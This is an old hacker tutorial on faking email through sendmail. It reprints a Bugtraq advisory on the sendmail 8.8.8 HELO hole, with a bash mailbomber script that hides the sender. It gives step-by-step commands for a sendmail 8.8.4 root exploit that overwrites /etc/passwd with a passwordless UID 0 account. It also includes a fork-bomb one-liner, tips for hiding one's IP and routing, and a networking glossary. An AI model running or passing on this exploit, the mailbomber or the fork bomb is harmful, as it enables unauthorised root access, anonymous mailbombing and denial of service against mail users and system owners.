| Author
: Raven
Contents
-----CUT HERE----- Bug in Sendmail's HELO Command (taken from rootshell.com) ****************************** Note: this won't get you root access(14) or get you into partsin a system you're not supposed to get into, but this is still pretty cool. In fact, it let's you hide your IP/hostName when faking mail! [ http://www.rootshell.com/ ] We've had this exploit since January but sat on it until everyone had a change of implementing a stable version of sendmail 8.9.x. (And because the last thing I want to do is help the spammers) It has now made its way to Bugtraq so without further ado. --Rootshell 5/28/98 Date: Fri, 22 May 1998 12:36:54 +0300 From: Valentin Pavlov Subject: about sendmail 8.8.8 HELO hole I assume this this is pretty old (10 Jan 1998) but still... I found a pretty simple way to prevent the hiding of the sender's IP address. The method to hide the IP address of the sender is described bellow. Now, if we want to keep track of such exploit attempts, we have to compile sendmail 8.8.8 with a PICKY_HELO_CHECK defined in conf.h: #define PICKY_HELO_CHECK 1 This will force sendmail to syslog an authentication warning (message with LOG_INFO level) and include an X-Authentication-Warning: header in the message, saying what host tried to hide itself. Check out the source (srvrsmpt.c, main.c). Also, LogLevel must be set to a value higher than 3 (default is 9) in sendmail.cf. regards, capone -=-=-=-=-=-=-=-=-=-=-=-=-=-= Make source, not [high]score ---------------------------- Valentin 'Val Capone' Pavlov ---------------------------- capone@netbg.com, UKTC87203 -=-=-=-=-=-=-=-=-=-=-=-=-=-= Now for the original message, describing the exploit: -----Original Message----- From: Michał Zalewski To: info@rootshell.com Date: 10 stycznia 1998 12:28 Subject: Sendmail 8.8.8 (qmail?) HELO hole. Here's a brief description of Sendmail (qmail) hole I found recently: When someone mailbombs you, or tries to send fakemail, spam, etc - sendmail normally attachs sender's host Name and it's address to outgoing message: -- >From spam@flooders.net Mon Jan 5 22:08:21 1998 Received: from spammer (marc@math.university.edu [150.129.84.5]) by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376 for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100 Date: Mon, 5 Jan 1998 22:07:54 +0100 From: spam@flooders.net Message-Id: <3.14159665@pi> MAILBOOM!!! -- That's perfect - now you know, who is responsible for that annoying junk in your mailbox: "Received: from spammer (marc@math.university.edu [150.129.84.5])". Nothing easier... But I found a small hole, which allows user to hide it's personality, and send mails anonymously. The only thing you should do is to pass HELO string longer than approx. 1024 B - sender's location and other very useful information will be cropped!!! Message headers should become not interesting. Sometimes, sender may become quite untraceable (but not always, if it's possible to obtain logs from machine which has been used to sent): -- >From spam@flooders.net Mon Jan 5 22:09:05 1998 Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx Date: Mon, 5 Jan 1998 22:08:52 +0100 From: spam@flooders.net Message-Id: <3.14159665@pi> MAILBOOM!!! Now guess who am I... -- Here's a simple example of Sendmail's HELO hole usage. Note, this script has been written ONLY to show how easy may be sending fakemails, mailbombs, with cooperation of Sendmail ;) Script is very slow and restricted in many ways, but explains the problem well (note, some of non-Berkeley daemons are also affected, probably Qmail?): -- EXPLOIT CODE -- #!/bin/bash TMPDIR=/tmp/`whoami` PLIK=$TMPDIR/.safe TIMEOUT=2 LIMIT=10 MAX=20 echo echo "SafeBomb 1.02b -- sendmail HELO hole usage example" echo "Author: Michal Zalewski echo if [ "$4" = "" ]; then echo "USAGE: $0 msgFile address server sender" echo echo " msgFile - File to send as a message body" echo " address - address of lucky recipient" echo " server - outgoing smtp server w/sendmail" echo " sender - introduce yourself" echo echo "WARNING: For educational use ONLY. Mailbombing is illegal." echo "Think twice BEFORE you use this program in any way. Also," echo "I've never said this program is 100% safe nor bug-free." echo sleep 1 exit 0 fi if [ ! -f $1 ]; then echo "Message File not found." echo exit 0 fi echo -n "Preparing message..." mkdir $TMPDIR &>/dev/null chmod 700 $TMPDIR echo "echo \"helo ___safebomb__safebomb__safebomb>$PLIK echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK echo "echo \"rcpt to: $2\"" >>$PLIK echo "echo \"data\"" >>$PLIK echo "cat <<__qniec__" >>$PLIK cat $1 >>$PLIK echo "__qniec__" >>$PLIK echo "echo \".\"" >>$PLIK echo "echo \"quit\"" >>$PLIK echo "sleep $TIMEOUT" >>$PLIK chmod +x $PLIK echo "OK" echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort." SENT=0 while [ -f $1 ]; do $PLIK|telnet $3 25 &>/dev/null & let SENT=SENT+1 echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b" CONNECTED=`ps|grep -c "telnet $3"` if [ "$LIMIT" -le "$CONNECTED" ]; then while [ "$LIMIT" -le "$CONNECTED" ]; do sleep 1 done fi if [ "$SENT" -ge "$MAX" ]; then echo "It's just an example, sorry." echo exit 0 fi done -- EOF -- Suggested fix: insert additional length limit into HELO/EHLO parameter scanning routine OR disable AllowBogusHELO (but it may cause serious troubles). I have no 8.8.8 sources at the time, so execuse me if it's unclear. PS: -- From: Gregory Neil Shapiro I was able to reproduce the header problem by lengthening the HELO string in your script. [...] This will be fixed in sendmail 8.9. -- _____________________________________________________________________ Michał Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl] Iterować jest rzeczą ludzką, wykonywać rekursywnie - boską [P. Deustch] =--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------= Giant Bug in Sendmail 8.8.4 (taken from hackersclub.com) *************************** sendmail8.8.4 exploit "sendmail? 'tis the bugiest program" -phriend- Ok, here's a brief and interesting explonation of this famous exploit. This exploit uses sendmail version 8.8.4 and it requires that you have a shell acount on the server in question. The exploit creates a link from /etc/passwd to /var/tmp/dead.letter Very simple really. Here's how it works, below are the exact commands as you have to type them (for the technically challendged ones) * ln /etc/passwd /var/tmp/dead.letter * telnet target.host 25 * mail from: nonexsistent@not.an.actual.host.com * rcpt to: nonexsistent@not.as.actual.host.com * data * lord::0:0:leet shit:/root:/bin/bash * . * quit Kaboom, you're done, telnet to port 23 and log in as lord, no password required. Thanx to a little bit of work we did, lord just happens to have the same priviledges as root. There are a couple of reasons why this might not work. 1. /var and / are different partitions (as you already know, you can't make hard links between different partitions) 2. There is a postmaster account on a machine or mail alias, in which case, your mail will end up there instead of being written to a etc/passwd 3. /var/tmp doesn't exist or isn't publicly writable Duncan Silver www.hackersclub.com/uu Editor's notes: lord::0:0:leet shit:/root:/bin/bash is a line out of a Unix password File(33). Final Notes --------------- You must have noticed that I didn't put anything from BugTraq. This is because everything that goes to BugTraq gets at least one reply (from my experience), and I don't feel like posting whole threads(34) here (they're too damn long). Newbies corner ============== 1. Daemon - a program that listens for incoming connections on a specific port(2). Some daemons may receive commands from you and interact with you, others may simply spew out some text/binary and quit. 2. Port - (for the more technical explanation of what ports are, see the end of this explanation) ports are like holes that enable things (data, in this case) to come into them. There are physical ports and software ports on your computer. Physical ports are those slots on the back of your computer, your monitor etc'. Now, software ports are used when connecting to other computers. For example: I just bought a new computer and I want to turn it into a webserver (I want to enable people to access selecetd web pages, pictures, cgi and java scripts or applets, programs etc' that are located on my computer (MY computer, not on some cheesy free webhost such as Geocities), and I want those people to be able to do that using nothing but a browser). In order for that to happen, I need to install a webserver program. The webserver program opens a port on my computer called port 80 (this number can be changed, but this is the default number). Then it listens to incoming connections on that port. When someone starts his Internet browser (Netscape, Lynx, Microsoft Explorer etc') and surfs to my website, his browser connects to my computer on port 80 and then sends HTTP commands that my webserver program can understand into it. My webserver program quickly picks up the incoming data and then sends it back into a port that the surfer's browser opened on the surfer's computer. The browser will listen on that port and wait for the data (the HTML page, the picture, the program etc') to come in through it. Note about non-default ports: if you decide to put, say, a webserver on a non-default port, it'll be harder for people to get in. If you decided to put it on port... umm... 8000 instead of 80, people will have to type in your IP address(9) or your hostName(10) if you have one and add a :8000 at the end. For example:142.30.5.79:8080. Simply typing in 142.30.5.79 inside your browser's URL field is as same as typing 142.30.5.79:80, so it's best to put a webserver on port 80 (unless you only want a specific group of people who will be given that number to access your webserver, but such a blockage can be easily cracked using a portscanner(12)). There are different ports for different services(3) so data won't mix up. Imagine your browser getting data your FTP client was supposed to get. I hope you got the main idea of what a port is. Now, there are three kinds of ports: well-known ports, registered ports and dynamic/private ports. The well known ports are those from 0 through 1023. These are default ports for several services. For example: the default port for webservers is 80. Else, how would your browser know which port he has to access? Now, the registered ports are those from 1024 through 49151. These ports are reserved for several programs. For example: ICQ (www.icq.com) reserves several ports for listening to various incoming events (messages, File transfers etc') on it. The dynamic and/or private ports are those from 49152 through 65535, and can be used by anyone for any given purpose. Important note about well-known ports: services(3) on these ports can be only ran by root, so inferior users won't start messing up with important ports. 3. Service - a daemon(1) that allows everyone who connects to it (or a specific group of people. For example: anyone from this IP(9) range, everyone who knows the secret password etc') to use some kind of service. For example: a webserver such as the one described in section one on this chapter (the explanation regarding what is a port) is a service because it allows people to come in and ask for certain pieces of data. The simplest example of a service I can think of is "daytime". Daytime waits for incoming connections on port(2) 13 and when someone goes by it immedietly announces the current time on the computer that runs it (with no need from you to type in any commands or passwords or anything). Simple. 4. Daemon banner - most daemons(1) give away some technical info to anyone who connects to them on some point. This information can be used by anyone who connects to that daemon simply for it to know how to interact with the daemon best (which daemon is it, what version, etc'), but it can also be used by hackers. Let's try connecting to port(2) 23 on someone.com (note: I've made up this hostName(10) and all the details regarding it simply to teach you about daemon banners. I really don't know whether there is such a hostName and whether the details I'm about to give you are correct). On port 23 you would usually find Telnet(19). Telnet is a service which at first asks you for a userName and a password on most cases (unless you typed in an "unpassworded" userName. In that case it will simply log you in as that user without requesting for a password) and then runs a program specified by the sysadmin(22) and let's you work with it. In most cases you will get into a text-based shell (a command interpreter(20)). The problem is: you cannot do ANYTHING. It all depends on what kinds of permissions the user that you are logged in as has. The user root(14) has all permissions (read everything, write (and delete) everything, execute everything and change other people's permissions). Okay, so let's try going to port 23 on someone.com. At first we get this: Welcome to someone.com, running FreeBSD 4.13 Login: Aha! Someone.com is running an operating system called FreeBSD 4.13! That has to be worth something (we might come across a bug report regarding a bug that exists on FreeBSD 4.13 and might enable us to hack this server at a certain point). Every piece of information about a webserver is important. Now, since we don't know a userName and a password for this server we could either terminate the connection or try guessing. Most servers have a guest account (userName: guest, password: guest or just userName: guest) or a newuser account (userName: newuser, password: newuser, or just userName: newuser), but that certainly won't help us hack these guys... unless there's a major hole in these accounts. You'll have to figure these things out by yourself. Note about the word server: a computer is called a server if it offers any services. If not, it is called a host. 5. Timeout - okay, so I've got a daemon(1) waiting on port(2) 23 for incoming connections. Now, what happens if someone connects to it and does absolutely nothing? He would simply remain connected to that daemon until one of us either reboots or closes the connection. You don't want anyone connecting to some port on your computer and just hanging there, do you? This would only waste valuable bandwidth(15)! Most people will not want to monitor their network status 24 hours a day and disconnect everyone who decides to hang around for a while (especially on large networks). This is why timeout was invented. By setting a timeout value to a daemon (this can be done during the setup process or by running a setup program or entering some sort of an options box) you can make it close the connection on anyone who connets to it and does nothing for over than the timeout value. For example: you put a daemon on port 17 and tell it to timeout after 2.5 seconds. If someone will connect to your daemon and will not type anything for over than 2.5 seconds the daemon will close down the connection and that person will have to reconnect and start typing something before the daemon times out and throws him out. This is why webservers have a short timeout of 2 seconds (most people connect to webservers using client programs(16), and these programs "type" really fast...). 6. TCP - stands for Transfer Control Protocol. TCP is a protocol that is used for transferring data through networks (the Internet, local networks etc'). TCP is much more reliable than UDP since it uses several precautions, such as sequence numbers and all sorts of nifty header flags and all (see the excellent article called 'IP Spoofing Demystified' at the Books Section in http://blacksun.box.sk for lots of info regarding TCP (a real MUST READ!!)). TCP's only disadvantage is that it is a bit slower than UDP, but it is more reliable, hence it is used to transfer sensitive Files (such as programs - if you lose a single bit of the File, the whole thing is useless). 7. UDP - stands for User Datagram Protocol. UDP is a protocol that is used for transferring data through networks (the Internet, local networks etc'). UDP is less reliable than TCP (see the excellent article called 'IP Spoofing Demystified' at the Books Section in http://blacksun.box.sk for lots of info regarding UDP (a real MUST READ!!)), but it is also a little faster, hence programs such as Real Player (see http://www.real.com) use it for streaming video and more, where losing a single packet(32) or two is not such a big deal. 8. ICMP - stands for Internet Control Message Protocol. A protocol used for transferring errors over a network (the Internet, local networks etc'). 9. IP address - every computer connected to the Internet has an IP address. If another computer wants to interact with your computer it will need your IP, just like you need another person's phone number to call him. IP addresses should look like that: x.x.x.x, where x can be a number between 0 to 255. Note: there are "special" IP addresses which aren't use to connect to other computers. For example: 127.0.0.1 means localhost, which means you (your computer). Connecting to a certain port(2) on the IP 127.0.0.1 will connect to that port on your computer. Oh, by the way, IP stands for Internet Protocol(18). 10. HostName - hey, guess what! I just found out this really cool site! But I can't remember it's IP address, and when I do, I hate typing in these long IP addresses(9). Sure, I can bookmark it, but what if I'll want to tell my friends about it? Or what if I'll be surfing from my friend's house or from a public place and I won't have my bookmarks? The answer to all of these questions is hostNames. HostNames are aliases to IP addresses. A list of hostNames and their IP addresses is located at InterNIC, which is a database of all hostNames and their IP addresses. When you type in a hostName, your computer will look up that hostName and find the appropriate IP address and then connect to it. But instead of having to overload InterNIC (imagine that the entire world will connect to them. This would surely overload their servers and they will have to spend money on constant upgrades and backups. And think what will happen if something bad will happen to their databases...). The solution for this problem is called DNS servers(17). 11. Finding out what your ISP's mail servers are - there are several ways to do this: 1) Call your ISP and ask them what is the IP address(9) or the hostName(10) of your outgoing mail server (this is the IP/hostName you will need to perform all the tricks in this tutorial). If you want to know a different ISP's mail server, call their tech support phone number. But what if they're on the other side of the world and you don't feel like spending tons of cash simply for calling them and being put on hold? In this case, try method 3. 2) Start up your mail client, go to your preferences page and find what it says in the 'outgoing mail' field or in the 'SMTP server' field (both are the same. SMTP stands for Simple Mail Transfer Protocl, which is a protocol(18) that is used to send Emails over the Internet). 3) Guessing. If your target server is someone.com, their mail server should either be mailgw.someone.com:25 (mailgw.someone.com on port(2) 25. Note: mailgw stands for mail gateway) or someone.com:25. If not, send an Email to admin@someone.com or support@someone.com and ask them what their mail server is (they should be happy to answer you, unless you tell them that you're an evil hacker or something. In that case they'll call the cops on you). Note: not every server on the planet has an outgoing mail server. 12. Portscanner - a program that scans a target for open ports(2) by trying to connect to it on various ports. The simplest portscanner will start at port 1 and climbs up, but you can tell more advanced portscanners to scan a specific range, give you some info on open ports it might find etc'. 13. Services scanner - a services scanner is much more sophisticated than a portscanner(12) since it tries to connect on predefined ports which should have the service(3) you're looking for on them. 14. Root - an account on Unix computers which has maximum priviledges (read any File, write (and delete) to any File, execute any File and change other users' permissions). Note: other accounts may have root access, and the root account may not always have root access, depending on the sysadmin(22) (but root is the default account for root access). 15. Bandwidth - the total amount of speed a network connection device (a modem, a network card, a mail pigeon etc') can get to. For example: I just bought a new modem. It has a bandwidth of 100Ks per second, meaning it can transfer up to 100Ks per second. When you use your network device to do something it will drain some of the bandwidth in order to do this operation. 16. Client program - a program that connects to a certain service(3). Most client programs would know how to communicate with that service with or without the information it will receive from the daemon banner(4). Example: an Internet browser (such as Netscape) is a client program because it connects to port(2) 80, where the webserver daemon(1) is waiting for connections, and interacts with it in order to retrieve the File you're looking for. A browser has to know how to communicate with the webserver daemon (also referred to as HTTPD, HTTP Daemon. HTTP stands for Hyper Text(23) Transfer Protocol) in order to fulfill your requests. 17. DNS server - a server that stores hostNames(10) and their IP addresses(11). Instead of having InterNIC's servers handle the entire planet, every ISP has a DNS server. When you type in a hostName and tell your modem to connect to it, your computer will perform an action called 'DNS Lookup'. In other words, it will ask your ISP's DNS server what is the appropriate IP address for the hostName you've typed in. If your ISP's DNS server will not know the answer, it will ask a higher-level DNS server. If the higher-level DNS server will not know the answer, it will ask an even higher-level DNS server, etc' etc' etc'. The highest level is InterNIC itself. If the DNS server knew the IP in the first place it would give it to you. If it didn't (and it only found it out after querying other servers), it will first add it to his own databases and then give it to you. 18. Protocol - a set of rules used for computers to interact with each other over a network of some sort (such as the Internet or a some kind of a local network) they need to know a common protocol and each computer has to assume that the other one knows this protocol and uses it. 19. Telnet - a program that in it's most simplicity allows you to form a text-based connection between your computer and another computer over a network of some sort. You may choose the IP address(9) or hostName(10) and the port(2) you wish to contact, and Telnet will establish a TCP(6) connection between both machines. Note about the Telnet daemon(1): the Telnet daemon is completely different. It waits for incoming TCP(6) or UDP(7) connections on port 23 and then asks the user for a login (often called a userName) and a password (unless the user typed in an unpassworded userName. In that case, he will get in without entering a password. Unpassworded accounts are often VERY limited) and then proceed to execute a program (usually a command interpreter(20)) and giving you some permissions, all depending on the userName and the password you have entered (unless you gave in the wrong details. In that case, you will be told that either the userName or the password are wrong and be given another try. Most systems give you three tries and then quit). 20. Command interpreter - a program that accepts commands from the user and turns them into real commands your computer understands. For example: if your command interpreter contains a command called, say, display, which accepts a single parameter which should be a FileName, and you type in 'display someFile' (without the quotes, and replace someFile with a real FileName) then it will translate this command into 'okay mr. computer, find the hard drive by doing this and this, go to the FAT (File Allocation Table) and find out in which sector/sectors this File is located, grab the File and send it to the terminal device (the specified output device, usually your monitor)'. Get the main idea? 21. Shell account - an account on a remote computer (a userName and a password and a bunch of personal configuration Files and stuff). Having a shell account on a remote computer means having the ability to telnet(19) into that computer on port 23, type in your account's login (also referred to as a userName) and password and getting a command interpreter(20) with some permissions (depending on the sysadmin(22)). 22. Sysadmin / admin - the man/woman/furry creature who is in charge of a system. 23. Hyper Text - if you've ever seen an HTML document you should know what hyper text is, but you might not be aware of it. HTML stands for Hyper Text Markup Language. Hyper text is considered as "enhanced text", since you can add pictures, colors, links etc' to it. Compare that to the regular and dull text format which this tutorial uses... :D 24. RFC - stands for Request For Comment. These are draft papers by the IETF (Internet Engineering Task Force - those guys who set all those Internet standards and stuff). They contain suggestions for Internet standards. You can search for RFCs at http://www.linuxberg.com. 25. InterNIC - the domain registration database and the highest DNS(17) server on the planet. 26. Sub domain - first class domains look like this: something.com (or other extensions, such as org, net, cc, co.uk etc'). It costs 70$ to register one (see http://www.networksolutions.com). Second class domains look like this: someone.something.com and they cost 0$ to register, if you already have something.com registered to you, of course (although you can get those for free on websites such as www.anrki.com). Third class domains look like this: blah.someone.something.com and they don't cost any money either, etc' etc' etc'. Note about the price of a first-class domain: this price does not include web hosting (someone who will host your website or whatever you want to put up on his server). 27. SSH - stands for Secure Shell. This daemon(2) waits for incoming TCP(6) or UDP(7) connections on port 22. Once you connect to it, you will be asked for a Login and a Password, just like the Telnet daemon(19) does, only SSH encrypts everything for increased security. 28. Moderated mailing list / message board - I'll explain this by giving you an example. BugTraq (see http://www.securityfocus.com) is one of the best security-related mailing list. Although people can "send things to the list" (meaning send an Email message and have it sent to all the members of the mailing list), you can't just send everything. Aleph1, the moderator, goes through all incoming messages and posts only the good ones. The same goes with moderated message boards, etc'. 29. DoS attack - DoS stands for Denial of Service (also referred to as a "nuke" or a "newk"). A DoS attack is some kind of an attack that causes the target computer to deny some/all kinds of services to the users of that computer (local and/or remote users). For example: Winnuke (also known as OOB), the simplest DoS in the world. (Taken from Spikeman's DoS site) This denial of service program affects Windows clients by sending an "Out of Band" exception message to port 139, which does not know how to handle it. This is a standard listening port on Windows operating systems. Users of Win 3.11, Win95, and Win NT are vulnerable to this attack. This program is basically a nuisance program, but it is being widely circulated over the internet now. It has become a bother in chatrooms and on IRC. By using your IP# and sending OOB data to port 139, malicious users can disconnect you from the net, often leaving you with low resources and the blue tinted screen. Some of you may have been victims already. If this happens to you on Win 95, you will see a Windows fatal error message similar to the following: Fatal exception 0E at 0028: in VxD MSTCP(01) + 000041AE. This was called from 0028: in VxD NDIS(01) + 00000D7C. Rebooting the comp should return it to normal state. Patches ("fixes") For WinNuke (OOB) -=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-= Additional Information on WinNuke http://support.microsoft.com/support/kb/articles/Q168/7/47.asp Windows 95 Patches http://support.microsoft.com/download/support/mslFiles/Vipup11.exe http://support.microsoft.com/download/support/mslFiles/Vipup20.exe (for Winsock 2.0*) http://www.theargon.com/defense/nuke/index.html Please read notes referring to 95 patches before installing. Which version of Winsock do you have on your Windows 95 PC? http://premium.microsoft.com/support/kb/articles/Q177/7/19.asp http://www.theargon.com/defense/nuke/index.html Windows NT 4.0 Patch http://support.microsoft.com/support/kb/articles/Q143/4/78.asp http://www.theargon.com/defense/nuke/index.html Please read notes referring to Windows NT patches before installing. More info on DoS attacks can be found at Spikeman's DoS site: http://www.genocide2600.com/~spikeman/main.html * I really don't know if this patch will work on newer versions of Winsock. Therefore I'd like to recommend that you will first downgrade to Winsock 1.1 (the one that comes with Windows 95) by going to Control Panel, Network and removing TCP/IP and Dial Up Adapter(30) and then re-adding them by clicking add, choose protocol and in the company frame choose Microsoft. Then look for an option called TCP/IP and double-click it. As for DUN (Dial Up Networking), do the same but choose adapter instead of protocol. After you finish downgrading re-upgrade to Winsock 2.0, apply the patch (Vipup20.exe) and then upgrade to newer versions of Winsock. 30. DUN - stands for Dial Up Adapter. DUN is the program that comes with Windows and dials to your ISP in case you have a dial-up account(31). 31. Dial-Up account - a dial-up account at an ISP means that your modem has to dial some phone number before you can get on the net. Unlike other ISP accounts (direct cables which keep you online for 24 hours a day), you get a dynamic IP address(9) (and not a static one like on direct cable connections) since you have to connect and disconnect instead of just staying online all the time. Every time you re-connect you are assigned with a different IP address. 32. Packet - a piece of data that travels over a network (such as the Internet or local/wide area networks). A packet consists of two main parts: the header and the data itself. The header contains all sorts of nifty values such as the TTL (Time To Live) and more (you can read about those in the Modem Speedup section at http://blacksun.box.sk). The data part contains the actual data that the packet is carrying. On a regular dial-up account(31), the size of a packet should be 576 bytes (including the header), but on direct cable connections a packet would be much bigger (again, see Modem Speedup section at blacksun.box.sk). 33. Unix password Files - Every Unix system has a password File. They contain a list of users, their passwords and some important information about them. The password File is located at /etc/passwd. Each line represents a user. Each line consists of 7 fields, seperated by : marks (commas). A line in a password File should look like this: UserName:encrypted password:UID:GID:short description:home directory:shell UserName - the user's userName. Encrypted password - the user's password (encrypted for higher security). An encrypted password is always 13 characters long. UID - User ID. Each user has an ID number. If your UID is 0 it means you have root access(14). GID - Group ID. You can set groups (for example: all the workers in the accounting division) and set special permissions to that entire group. Root has GID 0. Short description - short description in human language. Home directory - the directory where all of the user's personal configuration Files are held. Shell - a program that is executed once the user logs in. In most cases (and in this case too) the shell is a command interpreter(20). In our case, the encrypted password field is empty, which means that the user gets to log in by simply giving a userName. This can be changed after we log in by typing passwd to the command interpreter. You will then be asked for a password to be set for your account. Note: on some systems, you have to type passwd your-userName instead of simply typing passwd. Note 2: root can do passwd your-userName and change your-userName's password, no matter who your-userName is. Note 3: if you put any characters that are not of the following sets: '. / 0-9 a-z A-Z' (without the quotes) or if you don't put anything in, the account is disabled so that user cannot log in. This is used when you know you might want to enable this account in the future. Cracking the encrypted password <><><><><><><><><><><><><><><>< For this you need a password cracker. A password cracker is a program that takes a certain word out of a dictionary File (also referred to as a "wordlist") or a combination of letters, numbers etc' the program makes up systematically ("brute-force cracking"), encrypts it the way Unix encrypts passwords and then compares it to the passwords in a given password File. If the passwords match, it will announce the correct password for that userName. 34. Thread - right now I'm talking about threads in discussion lists and message boards, not on computer programs. We'll discuss about these in a later time (maybe). A thread is a series of posts which started out from a single one. Let me demonstrate: a person starts a thread by stating a fact or making an opinion. Then, another person comes into the discussion list or into the message board and states his opinion on the subject. Then another person joins in and reply to the replier's opinion. Then another one comes, but chooses to reply to the original message instead since he has nothing to say regarding the other messages (if he does, he can post two messages). You get the picture... Appendix A: Fake Daemons(1) =========================== I found these two fake daemons (Sendmail and Telnet(19)) at packetstorm.securify.com once. They're great to fool attackers and to play tricks on your friends. These are Perl (a programming language) programs. To execute them (no, executing a File doesn't have anything to do with killing it...) on Unix, simply type ./FileName and replace FileName with the Name of the File you wish to execute. Every Unix "flavor", "distribution" or whatever you want to call it, comes with Perl (I think. Correct me if I'm wrong: barakirs@netvision.net.il). To execute them under DOS/Windows, you have to download Active Perl from www.activeperl.com and then simply double click them. I don't know how to execute them under Mac. I guess Active Perl supports Macs, but I'm not sure. Now, on to the fake daemons. These two daemons came in a single package together with a readme File. Following are all three Files. I did not alter any of those Files, it's up to you to do so. Play with them and learn. Oh, by the way, if you wish to learn Perl (or any other programming language), head off to http://blacksun.box.sk and find the books section. Enjoy! Appendix B: Routing Mail ======================== You can make your mail go through many different servers in order to make the header longer and confuse people who would try to track it down. Example: if you want to send the fake mail to blah@blah.com, and route it through blaha.com, blahb.com and blahc.com, then in the 'rcpt to:' part, simply do this: @blaha.com,@blahb.com,@blahc.com:blah@blah.com Note: this will not work on every Sendmail daemon. Thanks to Magnus Kristiansen for this one! ;-) Appendix C: Faking your IP ========================== So you don't want people to find your IP and your hostName when they look at the full header? Then simply fake your IP! You can do this by using Wingates or SOCKS firewalls, or telnetting to the Sendmail daemon from a shell account. If you use either one of those, the full header will show the Wingate's/SOCKS firewall's/shell provider's IP address. If you find a shell account that allows you to telnet out of it, you can use it to fake your IP. Otherwise, use Wingates or SOCKS firewalls. To learn more about then, read our Proxy/Wingate/SOCKS tutorial and our anonymity tutorial at blacksun.box.sk. Also, we recommend going to the books section on our website and downloading the excellent item called "IP Spoofing Demystified". The stuff written in there may not be so practical, but it is very important reading (you will learn a lot of important stuff that you could use later). Appendix D: Reply-to ==================== The Reply-to option does the following: when a person receives an Email with a reply-to address and sends a reply, the reply is sent to the address specified within the Reply-to command (this does not work on really really old Email clients). To use it, simply insert this line: Reply-to: some-user@some-server.net and replace some-user and some-server.net with the appropriate user and server. You have to include this line before or after the "Subject:" part. Appendix E: CC and BCC ====================== CC is used to send a message to other people that are not the recipients of the message, but might need the information in it. BCC is used the same way, only people can only see the recipient. The B in BCC stands for Blind, while the CC stands for Carbon Copy (like when you copy a page using... nevermind). So BCC stands for Blind Carbon Copy while CC stands for Carbon Copy. Exciting, isn't it? Thanks to i2tb for this information. Want to use CCs and BCCs within your fake Emails? No problem! They work exactly the same as the Reply-to command in Appendix D. Simply put CC: or BCC: lines in your fake mail (inside the body of the message), and then insert the appropriate Email addresses. References ========== RFC 821 - the SMTP RFC. Can be found at http://freesoft.org/CIE/RFC/821/index.htm. Thanks for Chris Karwoski for this one. ;-) |